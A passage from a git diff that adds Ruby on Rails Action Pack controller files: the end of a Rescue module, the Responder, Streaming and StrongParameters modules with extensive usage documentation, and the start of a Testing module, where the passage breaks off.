+ # This module is responsible to provide `rescue_from` helpers
+ # to controllers and configure when detailed exceptions must be
+ # shown.
+ module Rescue
+ extend ActiveSupport::Concern
+ include ActiveSupport::Rescuable
+
+ def rescue_with_handler(exception)
+ if (exception.respond_to?(:original_exception) &&
+ (orig_exception = exception.original_exception) &&
+ handler_for_rescue(orig_exception))
+ exception = orig_exception
+ end
+ super(exception)
+ end
+
+ # Override this method if you want to customize when detailed
+ # exceptions must be shown. This method is only called when
+ # consider_all_requests_local is false. By default, it returns
+ # false, but someone may set it to `request.local?` so local
+ # requests in production still shows the detailed exception pages.
+ def show_detailed_exceptions?
+ false
+ end
+
+ private
+ def process_action(*args)
+ super
+ rescue Exception => exception
+ request.env['action_dispatch.show_detailed_exceptions'] ||= show_detailed_exceptions?
+ rescue_with_handler(exception) || raise(exception)
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/responder.rb b/actionpack/lib/action_controller/metal/responder.rb
new file mode 100644
index 0000000..8918199
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/responder.rb
@@ -0,0 +1,287 @@
+require 'active_support/json'
+
+module ActionController #:nodoc:
+ # Responsible for exposing a resource to different mime requests,
+ # usually depending on the HTTP verb. The responder is triggered when
+ # <code>respond_with</code> is called. The simplest case to study is a GET request:
+ #
+ # class PeopleController < ApplicationController
+ # respond_to :html, :xml, :json
+ #
+ # def index
+ # @people = Person.all
+ # respond_with(@people)
+ # end
+ # end
+ #
+ # When a request comes in, for example for an XML response, three steps happen:
+ #
+ # 1) the responder searches for a template at people/index.xml;
+ #
+ # 2) if the template is not available, it will invoke <code>#to_xml</code> on the given resource;
+ #
+ # 3) if the responder does not <code>respond_to :to_xml</code>, call <code>#to_format</code> on it.
+ #
+ # === Builtin HTTP verb semantics
+ #
+ # The default \Rails responder holds semantics for each HTTP verb. Depending on the
+ # content type, verb and the resource status, it will behave differently.
+ #
+ # Using \Rails default responder, a POST request for creating an object could
+ # be written as:
+ #
+ # def create
+ # @user = User.new(params[:user])
+ # flash[:notice] = 'User was successfully created.' if @user.save
+ # respond_with(@user)
+ # end
+ #
+ # Which is exactly the same as:
+ #
+ # def create
+ # @user = User.new(params[:user])
+ #
+ # respond_to do |format|
+ # if @user.save
+ # flash[:notice] = 'User was successfully created.'
+ # format.html { redirect_to(@user) }
+ # format.xml { render xml: @user, status: :created, location: @user }
+ # else
+ # format.html { render action: "new" }
+ # format.xml { render xml: @user.errors, status: :unprocessable_entity }
+ # end
+ # end
+ # end
+ #
+ # The same happens for PATCH/PUT and DELETE requests.
+ #
+ # === Nested resources
+ #
+ # You can supply nested resources as you do in <code>form_for</code> and <code>polymorphic_url</code>.
+ # Consider the project has many tasks example. The create action for
+ # TasksController would be like:
+ #
+ # def create
+ # @project = Project.find(params[:project_id])
+ # @task = @project.tasks.build(params[:task])
+ # flash[:notice] = 'Task was successfully created.' if @task.save
+ # respond_with(@project, @task)
+ # end
+ #
+ # Giving several resources ensures that the responder will redirect to
+ # <code>project_task_url</code> instead of <code>task_url</code>.
+ #
+ # Namespaced and singleton resources require a symbol to be given, as in
+ # polymorphic urls. If a project has one manager which has many tasks, it
+ # should be invoked as:
+ #
+ # respond_with(@project, :manager, @task)
+ #
+ # Note that if you give an array, it will be treated as a collection,
+ # so the following is not equivalent:
+ #
+ # respond_with [@project, :manager, @task]
+ #
+ # === Custom options
+ #
+ # <code>respond_with</code> also allows you to pass options that are forwarded
+ # to the underlying render call. Those options are only applied for success
+ # scenarios. For instance, you can do the following in the create method above:
+ #
+ # def create
+ # @project = Project.find(params[:project_id])
+ # @task = @project.tasks.build(params[:task])
+ # flash[:notice] = 'Task was successfully created.' if @task.save
+ # respond_with(@project, @task, status: 201)
+ # end
+ #
+ # This will return status 201 if the task was saved successfully. If not,
+ # it will simply ignore the given options and return status 422 and the
+ # resource errors. To customize the failure scenario, you can pass a
+ # a block to <code>respond_with</code>:
+ #
+ # def create
+ # @project = Project.find(params[:project_id])
+ # @task = @project.tasks.build(params[:task])
+ # respond_with(@project, @task, status: 201) do |format|
+ # if @task.save
+ # flash[:notice] = 'Task was successfully created.'
+ # else
+ # format.html { render "some_special_template" }
+ # end
+ # end
+ # end
+ #
+ # Using <code>respond_with</code> with a block follows the same syntax as <code>respond_to</code>.
+ class Responder
+ attr_reader :controller, :request, :format, :resource, :resources, :options
+
+ DEFAULT_ACTIONS_FOR_VERBS = {
+ :post => :new,
+ :patch => :edit,
+ :put => :edit
+ }
+
+ def initialize(controller, resources, options={})
+ @controller = controller
+ @request = @controller.request
+ @format = @controller.formats.first
+ @resource = resources.last
+ @resources = resources
+ @options = options
+ @action = options.delete(:action)
+ @default_response = options.delete(:default_response)
+ end
+
+ delegate :head, :render, :redirect_to, :to => :controller
+ delegate :get?, :post?, :patch?, :put?, :delete?, :to => :request
+
+ # Undefine :to_json and :to_yaml since it's defined on Object
+ undef_method(:to_json) if method_defined?(:to_json)
+ undef_method(:to_yaml) if method_defined?(:to_yaml)
+
+ # Initializes a new responder an invoke the proper format. If the format is
+ # not defined, call to_format.
+ #
+ def self.call(*args)
+ new(*args).respond
+ end
+
+ # Main entry point for responder responsible to dispatch to the proper format.
+ #
+ def respond
+ method = "to_#{format}"
+ respond_to?(method) ? send(method) : to_format
+ end
+
+ # HTML format does not render the resource, it always attempt to render a
+ # template.
+ #
+ def to_html
+ default_render
+ rescue ActionView::MissingTemplate => e
+ navigation_behavior(e)
+ end
+
+ # to_js simply tries to render a template. If no template is found, raises the error.
+ def to_js
+ default_render
+ end
+
+ # All other formats follow the procedure below. First we try to render a
+ # template, if the template is not available, we verify if the resource
+ # responds to :to_format and display it.
+ #
+ def to_format
+ if get? || !has_errors? || response_overridden?
+ default_render
+ else
+ display_errors
+ end
+ rescue ActionView::MissingTemplate => e
+ api_behavior(e)
+ end
+
+ protected
+
+ # This is the common behavior for formats associated with browsing, like :html, :iphone and so forth.
+ def navigation_behavior(error)
+ if get?
+ raise error
+ elsif has_errors? && default_action
+ render :action => default_action
+ else
+ redirect_to navigation_location
+ end
+ end
+
+ # This is the common behavior for formats associated with APIs, such as :xml and :json.
+ def api_behavior(error)
+ raise error unless resourceful?
+
+ if get?
+ display resource
+ elsif post?
+ display resource, :status => :created, :location => api_location
+ else
+ head :no_content
+ end
+ end
+
+ # Checks whether the resource responds to the current format or not.
+ #
+ def resourceful?
+ resource.respond_to?("to_#{format}")
+ end
+
+ # Returns the resource location by retrieving it from the options or
+ # returning the resources array.
+ #
+ def resource_location
+ options[:location] || resources
+ end
+ alias :navigation_location :resource_location
+ alias :api_location :resource_location
+
+ # If a response block was given, use it, otherwise call render on
+ # controller.
+ #
+ def default_render
+ if @default_response
+ @default_response.call(options)
+ else
+ controller.default_render(options)
+ end
+ end
+
+ # Display is just a shortcut to render a resource with the current format.
+ #
+ # display @user, status: :ok
+ #
+ # For XML requests it's equivalent to:
+ #
+ # render xml: @user, status: :ok
+ #
+ # Options sent by the user are also used:
+ #
+ # respond_with(@user, status: :created)
+ # display(@user, status: :ok)
+ #
+ # Results in:
+ #
+ # render xml: @user, status: :created
+ #
+ def display(resource, given_options={})
+ controller.render given_options.merge!(options).merge!(format => resource)
+ end
+
+ def display_errors
+ controller.render format => resource_errors, :status => :unprocessable_entity
+ end
+
+ # Check whether the resource has errors.
+ #
+ def has_errors?
+ resource.respond_to?(:errors) && !resource.errors.empty?
+ end
+
+ # By default, render the <code>:edit</code> action for HTML requests with errors, unless
+ # the verb was POST.
+ #
+ def default_action
+ @action ||= DEFAULT_ACTIONS_FOR_VERBS[request.request_method_symbol]
+ end
+
+ def resource_errors
+ respond_to?("#{format}_resource_errors", true) ? send("#{format}_resource_errors") : resource.errors
+ end
+
+ def json_resource_errors
+ {:errors => resource.errors}
+ end
+
+ def response_overridden?
+ @default_response.present?
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/streaming.rb b/actionpack/lib/action_controller/metal/streaming.rb
new file mode 100644
index 0000000..73e9b56
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/streaming.rb
@@ -0,0 +1,223 @@
+require 'rack/chunked'
+
+module ActionController #:nodoc:
+ # Allows views to be streamed back to the client as they are rendered.
+ #
+ # The default way Rails renders views is by first rendering the template
+ # and then the layout. The response is sent to the client after the whole
+ # template is rendered, all queries are made, and the layout is processed.
+ #
+ # Streaming inverts the rendering flow by rendering the layout first and
+ # streaming each part of the layout as they are processed. This allows the
+ # header of the HTML (which is usually in the layout) to be streamed back
+ # to client very quickly, allowing JavaScripts and stylesheets to be loaded
+ # earlier than usual.
+ #
+ # This approach was introduced in Rails 3.1 and is still improving. Several
+ # Rack middlewares may not work and you need to be careful when streaming.
+ # Those points are going to be addressed soon.
+ #
+ # In order to use streaming, you will need to use a Ruby version that
+ # supports fibers (fibers are supported since version 1.9.2 of the main
+ # Ruby implementation).
+ #
+ # Streaming can be added to a given template easily, all you need to do is
+ # to pass the :stream option.
+ #
+ # class PostsController
+ # def index
+ # @posts = Post.all
+ # render stream: true
+ # end
+ # end
+ #
+ # == When to use streaming
+ #
+ # Streaming may be considered to be overkill for lightweight actions like
+ # +new+ or +edit+. The real benefit of streaming is on expensive actions
+ # that, for example, do a lot of queries on the database.
+ #
+ # In such actions, you want to delay queries execution as much as you can.
+ # For example, imagine the following +dashboard+ action:
+ #
+ # def dashboard
+ # @posts = Post.all
+ # @pages = Page.all
+ # @articles = Article.all
+ # end
+ #
+ # Most of the queries here are happening in the controller. In order to benefit
+ # from streaming you would want to rewrite it as:
+ #
+ # def dashboard
+ # # Allow lazy execution of the queries
+ # @posts = Post.all
+ # @pages = Page.all
+ # @articles = Article.all
+ # render stream: true
+ # end
+ #
+ # Notice that :stream only works with templates. Rendering :json
+ # or :xml with :stream won't work.
+ #
+ # == Communication between layout and template
+ #
+ # When streaming, rendering happens top-down instead of inside-out.
+ # Rails starts with the layout, and the template is rendered later,
+ # when its +yield+ is reached.
+ #
+ # This means that, if your application currently relies on instance
+ # variables set in the template to be used in the layout, they won't
+ # work once you move to streaming. The proper way to communicate
+ # between layout and template, regardless of whether you use streaming
+ # or not, is by using +content_for+, +provide+ and +yield+.
+ #
+ # Take a simple example where the layout expects the template to tell
+ # which title to use:
+ #
+ # <html>
+ # <head><title><%= yield :title %></title></head>
+ # <body><%= yield %></body>
+ # </html>
+ #
+ # You would use +content_for+ in your template to specify the title:
+ #
+ # <%= content_for :title, "Main" %>
+ # Hello
+ #
+ # And the final result would be:
+ #
+ # <html>
+ # <head><title>Main</title></head>
+ # <body>Hello</body>
+ # </html>
+ #
+ # However, if +content_for+ is called several times, the final result
+ # would have all calls concatenated. For instance, if we have the following
+ # template:
+ #
+ # <%= content_for :title, "Main" %>
+ # Hello
+ # <%= content_for :title, " page" %>
+ #
+ # The final result would be:
+ #
+ # <html>
+ # <head><title>Main page</title></head>
+ # <body>Hello</body>
+ # </html>
+ #
+ # This means that, if you have <code>yield :title</code> in your layout
+ # and you want to use streaming, you would have to render the whole template
+ # (and eventually trigger all queries) before streaming the title and all
+ # assets, which kills the purpose of streaming. For this reason Rails 3.1
+ # introduces a new helper called +provide+ that does the same as +content_for+
+ # but tells the layout to stop searching for other entries and continue rendering.
+ #
+ # For instance, the template above using +provide+ would be:
+ #
+ # <%= provide :title, "Main" %>
+ # Hello
+ # <%= content_for :title, " page" %>
+ #
+ # Giving:
+ #
+ # <html>
+ # <head><title>Main</title></head>
+ # <body>Hello</body>
+ # </html>
+ #
+ # That said, when streaming, you need to properly check your templates
+ # and choose when to use +provide+ and +content_for+.
+ #
+ # == Headers, cookies, session and flash
+ #
+ # When streaming, the HTTP headers are sent to the client right before
+ # it renders the first line. This means that, modifying headers, cookies,
+ # session or flash after the template starts rendering will not propagate
+ # to the client.
+ #
+ # == Middlewares
+ #
+ # Middlewares that need to manipulate the body won't work with streaming.
+ # You should disable those middlewares whenever streaming in development
+ # or production. For instance, <tt>Rack::Bug</tt> won't work when streaming as it
+ # needs to inject contents in the HTML body.
+ #
+ # Also <tt>Rack::Cache</tt> won't work with streaming as it does not support
+ # streaming bodies yet. Whenever streaming Cache-Control is automatically
+ # set to "no-cache".
+ #
+ # == Errors
+ #
+ # When it comes to streaming, exceptions get a bit more complicated. This
+ # happens because part of the template was already rendered and streamed to
+ # the client, making it impossible to render a whole exception page.
+ #
+ # Currently, when an exception happens in development or production, Rails
+ # will automatically stream to the client:
+ #
+ # "><script>window.location = "/500.html"</script></html>
+ #
+ # The first two characters (">) are required in case the exception happens
+ # while rendering attributes for a given tag. You can check the real cause
+ # for the exception in your logger.
+ #
+ # == Web server support
+ #
+ # Not all web servers support streaming out-of-the-box. You need to check
+ # the instructions for each of them.
+ #
+ # ==== Unicorn
+ #
+ # Unicorn supports streaming but it needs to be configured. For this, you
+ # need to create a config file as follow:
+ #
+ # # unicorn.config.rb
+ # listen 3000, tcp_nopush: false
+ #
+ # And use it on initialization:
+ #
+ # unicorn_rails --config-file unicorn.config.rb
+ #
+ # You may also want to configure other parameters like <tt>:tcp_nodelay</tt>.
+ # Please check its documentation for more information: http://unicorn.bogomips.org/Unicorn/Configurator.html#method-i-listen
+ #
+ # If you are using Unicorn with Nginx, you may need to tweak Nginx.
+ # Streaming should work out of the box on Rainbows.
+ #
+ # ==== Passenger
+ #
+ # To be described.
+ #
+ module Streaming
+ extend ActiveSupport::Concern
+
+ include AbstractController::Rendering
+
+ protected
+
+ # Set proper cache control and transfer encoding when streaming
+ def _process_options(options) #:nodoc:
+ super
+ if options[:stream]
+ if env["HTTP_VERSION"] == "HTTP/1.0"
+ options.delete(:stream)
+ else
+ headers["Cache-Control"] ||= "no-cache"
+ headers["Transfer-Encoding"] = "chunked"
+ headers.delete("Content-Length")
+ end
+ end
+ end
+
+ # Call render_body if we are streaming instead of usual +render+.
+ def _render_template(options) #:nodoc:
+ if options.delete(:stream)
+ Rack::Chunked::Body.new view_renderer.render_body(view_context, options)
+ else
+ super
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/strong_parameters.rb b/actionpack/lib/action_controller/metal/strong_parameters.rb
new file mode 100644
index 0000000..4470322
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/strong_parameters.rb
@@ -0,0 +1,520 @@
+require 'active_support/core_ext/hash/indifferent_access'
+require 'active_support/core_ext/array/wrap'
+require 'active_support/rescuable'
+require 'action_dispatch/http/upload'
+require 'stringio'
+
+module ActionController
+ # Raised when a required parameter is missing.
+ #
+ # params = ActionController::Parameters.new(a: {})
+ # params.fetch(:b)
+ # # => ActionController::ParameterMissing: param not found: b
+ # params.require(:a)
+ # # => ActionController::ParameterMissing: param not found: a
+ class ParameterMissing < KeyError
+ attr_reader :param # :nodoc:
+
+ def initialize(param) # :nodoc:
+ @param = param
+ super("param not found: #{param}")
+ end
+ end
+
+ # Raised when a supplied parameter is not expected.
+ #
+ # params = ActionController::Parameters.new(a: "123", b: "456")
+ # params.permit(:c)
+ # # => ActionController::UnpermittedParameters: found unexpected keys: a, b
+ class UnpermittedParameters < IndexError
+ attr_reader :params # :nodoc:
+
+ def initialize(params) # :nodoc:
+ @params = params
+ super("found unpermitted parameters: #{params.join(", ")}")
+ end
+ end
+
+ # == Action Controller \Parameters
+ #
+ # Allows to choose which attributes should be whitelisted for mass updating
+ # and thus prevent accidentally exposing that which shouldn’t be exposed.
+ # Provides two methods for this purpose: #require and #permit. The former is
+ # used to mark parameters as required. The latter is used to set the parameter
+ # as permitted and limit which attributes should be allowed for mass updating.
+ #
+ # params = ActionController::Parameters.new({
+ # person: {
+ # name: 'Francesco',
+ # age: 22,
+ # role: 'admin'
+ # }
+ # })
+ #
+ # permitted = params.require(:person).permit(:name, :age)
+ # permitted # => {"name"=>"Francesco", "age"=>22}
+ # permitted.class # => ActionController::Parameters
+ # permitted.permitted? # => true
+ #
+ # Person.first.update!(permitted)
+ # # => #<Person id: 1, name: "Francesco", age: 22, role: "user">
+ #
+ # It provides two options that controls the top-level behavior of new instances:
+ #
+ # * +permit_all_parameters+ - If it's +true+, all the parameters will be
+ # permitted by default. The default is +false+.
+ # * +action_on_unpermitted_parameters+ - Allow to control the behavior when parameters
+ # that are not explicitly permitted are found. The values can be <tt>:log</tt> to
+ # write a message on the logger or <tt>:raise</tt> to raise
+ # ActionController::UnpermittedParameters exception. The default value is <tt>:log</tt>
+ # in test and development environments, +false+ otherwise.
+ #
+ # Examples:
+ #
+ # params = ActionController::Parameters.new
+ # params.permitted? # => false
+ #
+ # ActionController::Parameters.permit_all_parameters = true
+ #
+ # params = ActionController::Parameters.new
+ # params.permitted? # => true
+ #
+ # params = ActionController::Parameters.new(a: "123", b: "456")
+ # params.permit(:c)
+ # # => {}
+ #
+ # ActionController::Parameters.action_on_unpermitted_parameters = :raise
+ #
+ # params = ActionController::Parameters.new(a: "123", b: "456")
+ # params.permit(:c)
+ # # => ActionController::UnpermittedParameters: found unpermitted keys: a, b
+ #
+ # <tt>ActionController::Parameters</tt> is inherited from
+ # <tt>ActiveSupport::HashWithIndifferentAccess</tt>, this means
+ # that you can fetch values using either <tt>:key</tt> or <tt>"key"</tt>.
+ #
+ # params = ActionController::Parameters.new(key: 'value')
+ # params[:key] # => "value"
+ # params["key"] # => "value"
+ class Parameters < ActiveSupport::HashWithIndifferentAccess
+ cattr_accessor :permit_all_parameters, instance_accessor: false
+ cattr_accessor :action_on_unpermitted_parameters, instance_accessor: false
+
+ # Never raise an UnpermittedParameters exception because of these params
+ # are present. They are added by Rails and it's of no concern.
+ NEVER_UNPERMITTED_PARAMS = %w( controller action )
+
+ # Returns a new instance of <tt>ActionController::Parameters</tt>.
+ # Also, sets the +permitted+ attribute to the default value of
+ # <tt>ActionController::Parameters.permit_all_parameters</tt>.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # params = ActionController::Parameters.new(name: 'Francesco')
+ # params.permitted? # => false
+ # Person.new(params) # => ActiveModel::ForbiddenAttributesError
+ #
+ # ActionController::Parameters.permit_all_parameters = true
+ #
+ # params = ActionController::Parameters.new(name: 'Francesco')
+ # params.permitted? # => true
+ # Person.new(params) # => #<Person id: nil, name: "Francesco">
+ def initialize(attributes = nil)
+ super(attributes)
+ @permitted = self.class.permit_all_parameters
+ end
+
+ # Returns +true+ if the parameter is permitted, +false+ otherwise.
+ #
+ # params = ActionController::Parameters.new
+ # params.permitted? # => false
+ # params.permit!
+ # params.permitted? # => true
+ def permitted?
+ @permitted
+ end
+
+ # Sets the +permitted+ attribute to +true+. This can be used to pass
+ # mass assignment. Returns +self+.
+ #
+ # class Person < ActiveRecord::Base
+ # end
+ #
+ # params = ActionController::Parameters.new(name: 'Francesco')
+ # params.permitted? # => false
+ # Person.new(params) # => ActiveModel::ForbiddenAttributesError
+ # params.permit!
+ # params.permitted? # => true
+ # Person.new(params) # => #<Person id: nil, name: "Francesco">
+ def permit!
+ each_pair do |key, value|
+ convert_hashes_to_parameters(key, value)
+ self[key].permit! if self[key].respond_to? :permit!
+ end
+
+ @permitted = true
+ self
+ end
+
+ # Ensures that a parameter is present. If it's present, returns
+ # the parameter at the given +key+, otherwise raises an
+ # <tt>ActionController::ParameterMissing</tt> error.
+ #
+ # ActionController::Parameters.new(person: { name: 'Francesco' }).require(:person)
+ # # => {"name"=>"Francesco"}
+ #
+ # ActionController::Parameters.new(person: nil).require(:person)
+ # # => ActionController::ParameterMissing: param not found: person
+ #
+ # ActionController::Parameters.new(person: {}).require(:person)
+ # # => ActionController::ParameterMissing: param not found: person
+ def require(key)
+ self[key].presence || raise(ParameterMissing.new(key))
+ end
+
+ # Alias of #require.
+ alias :required :require
+
+ # Returns a new <tt>ActionController::Parameters</tt> instance that
+ # includes only the given +filters+ and sets the +permitted+ attribute
+ # for the object to +true+. This is useful for limiting which attributes
+ # should be allowed for mass updating.
+ #
+ # params = ActionController::Parameters.new(user: { name: 'Francesco', age: 22, role: 'admin' })
+ # permitted = params.require(:user).permit(:name, :age)
+ # permitted.permitted? # => true
+ # permitted.has_key?(:name) # => true
+ # permitted.has_key?(:age) # => true
+ # permitted.has_key?(:role) # => false
+ #
+ # Only permitted scalars pass the filter. For example, given
+ #
+ # params.permit(:name)
+ #
+ # +:name+ passes it is a key of +params+ whose associated value is of type
+ # +String+, +Symbol+, +NilClass+, +Numeric+, +TrueClass+, +FalseClass+,
+ # +Date+, +Time+, +DateTime+, +StringIO+, +IO+,
+ # +ActionDispatch::Http::UploadedFile+ or +Rack::Test::UploadedFile+.
+ # Otherwise, the key +:name+ is filtered out.
+ #
+ # You may declare that the parameter should be an array of permitted scalars
+ # by mapping it to an empty array:
+ #
+ # params.permit(tags: [])
+ #
+ # You can also use +permit+ on nested parameters, like:
+ #
+ # params = ActionController::Parameters.new({
+ # person: {
+ # name: 'Francesco',
+ # age: 22,
+ # pets: [{
+ # name: 'Purplish',
+ # category: 'dogs'
+ # }]
+ # }
+ # })
+ #
+ # permitted = params.permit(person: [ :name, { pets: :name } ])
+ # permitted.permitted? # => true
+ # permitted[:person][:name] # => "Francesco"
+ # permitted[:person][:age] # => nil
+ # permitted[:person][:pets][0][:name] # => "Purplish"
+ # permitted[:person][:pets][0][:category] # => nil
+ #
+ # Note that if you use +permit+ in a key that points to a hash,
+ # it won't allow all the hash. You also need to specify which
+ # attributes inside the hash should be whitelisted.
+ #
+ # params = ActionController::Parameters.new({
+ # person: {
+ # contact: {
+ # email: 'none at test.com',
+ # phone: '555-1234'
+ # }
+ # }
+ # })
+ #
+ # params.require(:person).permit(:contact)
+ # # => {}
+ #
+ # params.require(:person).permit(contact: :phone)
+ # # => {"contact"=>{"phone"=>"555-1234"}}
+ #
+ # params.require(:person).permit(contact: [ :email, :phone ])
+ # # => {"contact"=>{"email"=>"none at test.com", "phone"=>"555-1234"}}
+ def permit(*filters)
+ params = self.class.new
+
+ filters.flatten.each do |filter|
+ case filter
+ when Symbol, String
+ permitted_scalar_filter(params, filter)
+ when Hash then
+ hash_filter(params, filter)
+ end
+ end
+
+ unpermitted_parameters!(params) if self.class.action_on_unpermitted_parameters
+
+ params.permit!
+ end
+
+ # Returns a parameter for the given +key+. If not found,
+ # returns +nil+.
+ #
+ # params = ActionController::Parameters.new(person: { name: 'Francesco' })
+ # params[:person] # => {"name"=>"Francesco"}
+ # params[:none] # => nil
+ def [](key)
+ convert_hashes_to_parameters(key, super)
+ end
+
+ # Returns a parameter for the given +key+. If the +key+
+ # can't be found, there are several options: With no other arguments,
+ # it will raise an <tt>ActionController::ParameterMissing</tt> error;
+ # if more arguments are given, then that will be returned; if a block
+ # is given, then that will be run and its result returned.
+ #
+ # params = ActionController::Parameters.new(person: { name: 'Francesco' })
+ # params.fetch(:person) # => {"name"=>"Francesco"}
+ # params.fetch(:none) # => ActionController::ParameterMissing: param not found: none
+ # params.fetch(:none, 'Francesco') # => "Francesco"
+ # params.fetch(:none) { 'Francesco' } # => "Francesco"
+ def fetch(key, *args)
+ convert_hashes_to_parameters(key, super)
+ rescue KeyError
+ raise ActionController::ParameterMissing.new(key)
+ end
+
+ # Returns a new <tt>ActionController::Parameters</tt> instance that
+ # includes only the given +keys+. If the given +keys+
+ # don't exist, returns an empty hash.
+ #
+ # params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+ # params.slice(:a, :b) # => {"a"=>1, "b"=>2}
+ # params.slice(:d) # => {}
+ def slice(*keys)
+ self.class.new(super).tap do |new_instance|
+ new_instance.instance_variable_set :@permitted, @permitted
+ end
+ end
+
+ # Returns an exact copy of the <tt>ActionController::Parameters</tt>
+ # instance. +permitted+ state is kept on the duped object.
+ #
+ # params = ActionController::Parameters.new(a: 1)
+ # params.permit!
+ # params.permitted? # => true
+ # copy_params = params.dup # => {"a"=>1}
+ # copy_params.permitted? # => true
+ def dup
+ super.tap do |duplicate|
+ duplicate.instance_variable_set :@permitted, @permitted
+ end
+ end
+
+ private
+ def convert_hashes_to_parameters(key, value)
+ if value.is_a?(Parameters) || !value.is_a?(Hash)
+ value
+ else
+ # Convert to Parameters on first access
+ self[key] = self.class.new(value)
+ end
+ end
+
+ def each_element(object)
+ if object.is_a?(Array)
+ object.map { |el| yield el }.compact
+ elsif object.is_a?(Hash) && object.keys.all? { |k| k =~ /\A-?\d+\z/ }
+ hash = object.class.new
+ object.each { |k,v| hash[k] = yield v }
+ hash
+ else
+ yield object
+ end
+ end
+
+ def unpermitted_parameters!(params)
+ unpermitted_keys = unpermitted_keys(params)
+ if unpermitted_keys.any?
+ case self.class.action_on_unpermitted_parameters
+ when :log
+ name = "unpermitted_parameters.action_controller"
+ ActiveSupport::Notifications.instrument(name, keys: unpermitted_keys)
+ when :raise
+ raise ActionController::UnpermittedParameters.new(unpermitted_keys)
+ end
+ end
+ end
+
+ def unpermitted_keys(params)
+ self.keys - params.keys - NEVER_UNPERMITTED_PARAMS
+ end
+
+ #
+ # --- Filtering ----------------------------------------------------------
+ #
+
+ # This is a white list of permitted scalar types that includes the ones
+ # supported in XML and JSON requests.
+ #
+ # This list is in particular used to filter ordinary requests, String goes
+ # as first element to quickly short-circuit the common case.
+ #
+ # If you modify this collection please update the API of +permit+ above.
+ PERMITTED_SCALAR_TYPES = [
+ String,
+ Symbol,
+ NilClass,
+ Numeric,
+ TrueClass,
+ FalseClass,
+ Date,
+ Time,
+ # DateTimes are Dates, we document the type but avoid the redundant check.
+ StringIO,
+ IO,
+ ActionDispatch::Http::UploadedFile,
+ Rack::Test::UploadedFile,
+ ]
+
+ def permitted_scalar?(value)
+ PERMITTED_SCALAR_TYPES.any? {|type| value.is_a?(type)}
+ end
+
+ def permitted_scalar_filter(params, key)
+ if has_key?(key) && permitted_scalar?(self[key])
+ params[key] = self[key]
+ end
+
+ keys.grep(/\A#{Regexp.escape(key)}\(\d+[if]?\)\z/) do |k|
+ if permitted_scalar?(self[k])
+ params[k] = self[k]
+ end
+ end
+ end
+
+ def array_of_permitted_scalars?(value)
+ if value.is_a?(Array)
+ value.all? {|element| permitted_scalar?(element)}
+ end
+ end
+
+ def array_of_permitted_scalars_filter(params, key)
+ if has_key?(key) && array_of_permitted_scalars?(self[key])
+ params[key] = self[key]
+ end
+ end
+
+ EMPTY_ARRAY = []
+ def hash_filter(params, filter)
+ filter = filter.with_indifferent_access
+
+ # Slicing filters out non-declared keys.
+ slice(*filter.keys).each do |key, value|
+ return unless value
+
+ if filter[key] == EMPTY_ARRAY
+ # Declaration { comment_ids: [] }.
+ array_of_permitted_scalars_filter(params, key)
+ else
+ # Declaration { user: :name } or { user: [:name, :age, { address: ... }] }.
+ params[key] = each_element(value) do |element|
+ if element.is_a?(Hash)
+ element = self.class.new(element) unless element.respond_to?(:permit)
+ element.permit(*Array.wrap(filter[key]))
+ end
+ end
+ end
+ end
+ end
+ end
+
+ # == Strong \Parameters
+ #
+ # It provides an interface for protecting attributes from end-user
+ # assignment. This makes Action Controller parameters forbidden
+ # to be used in Active Model mass assignment until they have been
+ # whitelisted.
+ #
+ # In addition, parameters can be marked as required and flow through a
+ # predefined raise/rescue flow to end up as a 400 Bad Request with no
+ # effort.
+ #
+ # class PeopleController < ActionController::Base
+ # # Using "Person.create(params[:person])" would raise an
+ # # ActiveModel::ForbiddenAttributes exception because it'd
+ # # be using mass assignment without an explicit permit step.
+ # # This is the recommended form:
+ # def create
+ # Person.create(person_params)
+ # end
+ #
+ # # This will pass with flying colors as long as there's a person key in the
+ # # parameters, otherwise it'll raise an ActionController::MissingParameter
+ # # exception, which will get caught by ActionController::Base and turned
+ # # into a 400 Bad Request reply.
+ # def update
+ # redirect_to current_account.people.find(params[:id]).tap { |person|
+ # person.update!(person_params)
+ # }
+ # end
+ #
+ # private
+ # # Using a private method to encapsulate the permissible parameters is
+ # # just a good pattern since you'll be able to reuse the same permit
+ # # list between create and update. Also, you can specialize this method
+ # # with per-user checking of permissible attributes.
+ # def person_params
+ # params.require(:person).permit(:name, :age)
+ # end
+ # end
+ #
+ # In order to use <tt>accepts_nested_attribute_for</tt> with Strong \Parameters, you
+ # will need to specify which nested attributes should be whitelisted.
+ #
+ # class Person
+ # has_many :pets
+ # accepts_nested_attributes_for :pets
+ # end
+ #
+ # class PeopleController < ActionController::Base
+ # def create
+ # Person.create(person_params)
+ # end
+ #
+ # ...
+ #
+ # private
+ #
+ # def person_params
+ # # It's mandatory to specify the nested attributes that should be whitelisted.
+ # # If you use `permit` with just the key that points to the nested attributes hash,
+ # # it will return an empty hash.
+ # params.require(:person).permit(:name, :age, pets_attributes: [ :name, :category ])
+ # end
+ # end
+ #
+ # See ActionController::Parameters.require and ActionController::Parameters.permit
+ # for more information.
+ module StrongParameters
+ extend ActiveSupport::Concern
+ include ActiveSupport::Rescuable
+
+ # Returns a new ActionController::Parameters object that
+ # has been instantiated with the <tt>request.parameters</tt>.
+ def params
+ @_params ||= Parameters.new(request.parameters)
+ end
+
+ # Assigns the given +value+ to the +params+ hash. If +value+
+ # is a Hash, this will create an ActionController::Parameters
+ # object that has been instantiated with the given +value+ hash.
+ def params=(value)
+ @_params = value.is_a?(Hash) ? Parameters.new(value) : value
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/metal/testing.rb b/actionpack/lib/action_controller/metal/testing.rb
new file mode 100644
index 0000000..0377b8c
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/testing.rb
@@ -0,0 +1,32 @@
+module ActionController
+ module Testing
+ extend ActiveSupport::Concern
+
+ include RackDelegation
+
+ # TODO : Rewrite tests using controller.headers= to use Rack env
+ def headers=(new_headers)
+ @_response ||= ActionDispatch::Response.new
+ @_response.headers.replace(new_headers)
+ end
+
+ # Behavior specific to functional tests
+ module Functional # :nodoc:
+ def set_response!(request)
+ end
+
+ def recycle!
+ @_url_options = nil
+ self.response_body = nil
+ self.formats = nil
+ self.params = nil
+ end
+ end
